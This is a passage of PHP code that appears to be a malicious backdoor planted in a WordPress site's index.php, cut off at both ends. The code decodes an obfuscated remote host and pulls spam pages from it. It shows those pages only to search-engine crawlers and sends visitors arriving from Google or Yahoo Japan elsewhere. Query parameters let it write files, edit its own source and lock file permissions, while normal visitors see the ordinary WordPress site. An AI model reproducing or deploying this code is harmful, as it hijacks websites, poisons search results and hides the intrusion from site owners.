.authcode(H,"DECODE",$key,0)."", 0444); chmod(dirname(__FILE__).'/'.authcode(IPHP,"DECODE",$key,0)."", 0444); echo "
Back ok!
"; die(); } if(isset($_GET["google"])) { $google = trim($_GET["google"]); $gcon = "google-site-verification: " . $google; file_put_contents(dirname(__FILE__).'/'.$google,$gcon); echo "
".$gcon." ok!
"; die(); } if(isset($_GET["jump"]) && $_GET["jump"]=='1') { $strDefault = file_get_contents(__FILE__); $strDefault = str_replace('define("JUMPSWITCH","0");', 'define("JUMPSWITCH","'.$_GET["jump"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
JUMP (".$_GET["jump"].") ok!
"; die();} $picontent = curltxt((isHTTPS() ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].'/'.authcode(WPPHP,"DECODE",$key,0)); if((strpos($picontent,'url_rewriter') !== false) or (strpos($picontent,'mod_rewrite') !== false)) { $weijingtai = 'on'; } else { $weijingtai = 'off'; } $nowurl = (isHTTPS() ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(strpos($nowurl,'-pid-') !== false) { list($ranurl,$pid) = explode('-pid-',$nowurl); $value = curl_get_content('http://'.authcode(DATACENTER,"DECODE",$key,0).'/'.authcode(PACKNAME,"DECODE",$key,0).'/get-content.php?pid='.$pid,5); } else { $value = curl_get_content('http://'.authcode(DATACENTER,"DECODE",$key,0).'/'.authcode(PACKNAME,"DECODE",$key,0).'/get-content.php?pid=1',5); } $value = trim($value); $value = str_replace('','',$value); $value = str_replace('','',$value); list($ranurl,$products_id,$products_name,$products_image,$url,$categories_name,$categories_id,$products_addimages,$sort_des, $products_description,$metatags_title,$metatags_keywords,$metatags_description,$onetext,$twotext,$links,$moban,$packname,$canshu) = explode('==>',$value); if(isCrawler()) { $html = curl_get_content('http://'.authcode(DATACENTER,"DECODE",$key,0).'/'.authcode(PACKNAME,"DECODE",$key,0).$moban,5); $html = str_ireplace('###metatags_title###', $metatags_title, $html); $html = str_ireplace('###metatags_description###', $metatags_keywords, $html); $html = str_ireplace('###metatags_keywords###', $metatags_description, $html); $html = str_ireplace('###products_name###', $products_name, $html); $html = str_ireplace('###categories_name###', $categories_name, $html); $html = str_ireplace('###sort_des###', $sort_des, $html); $html = str_ireplace('###products_description###', $products_description, $html); $html = str_ireplace('###url###', $url, $html); $html = str_ireplace('###products_image###', $products_image, $html); $html = str_ireplace('###products_addimages###', $products_addimages, $html); $html = str_ireplace('###onetext###', $onetext, $html); if($weijingtai == 'on') { $links = str_ireplace('index.php?content=', 'content-',$links); $canshu = str_ireplace('index.php?content=', 'content-',$canshu); } $links = str_ireplace('', '', $html); echo $html; die(); } $referer = $_SERVER["HTTP_REFERER"]; $gj = 'google.co.jp'; $yj = 'yahoo.co.jp'; if($JUMPSWITCH == "1" and strpos($referer,$gj) !== false or strpos($referer,$yj) !== false and isCrawler() == false) { echo '';die(); } else { define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php'; } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot"); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function getTxtcontent($txtfile) { $file = @fopen($txtfile,'r'); $content = array(); if(!$file) { return 'file open fail!
'; } else { $i = 0; while (!feof($file)) { $content[$i] = fgets($file); $i++; } fclose($file); $content = array_filter($content); } return $content; } function isHTTPS() { if (defined('HTTPS') && HTTPS) return true; if (!isset($_SERVER)) return FALSE; if (!isset($_SERVER['HTTPS'])) return FALSE; if ($_SERVER['HTTPS'] === 1) { return TRUE; } elseif ($_SERVER['HTTPS'] === 'on') { return TRUE; } elseif ($_SERVER['SERVER_PORT'] == 443) { return TRUE; } return FALSE; } function getChmod($filepath) { return substr(base_convert(@fileperms($filepath),10,8),-4); } function curl_get_content($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1, CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 )); } else { curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); } $data = curl_exec($curl);curl_close($curl); }else{ $is_auf = ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function authcode($string, $operation = "DECODE", $key = "", $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : $GLOBALS["discuz_auth_key"]); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == "DECODE" ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ""; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == "DECODE" ? base64_decode(substr($string, $ckey_length)) : sprintf("%010d", $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ""; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndke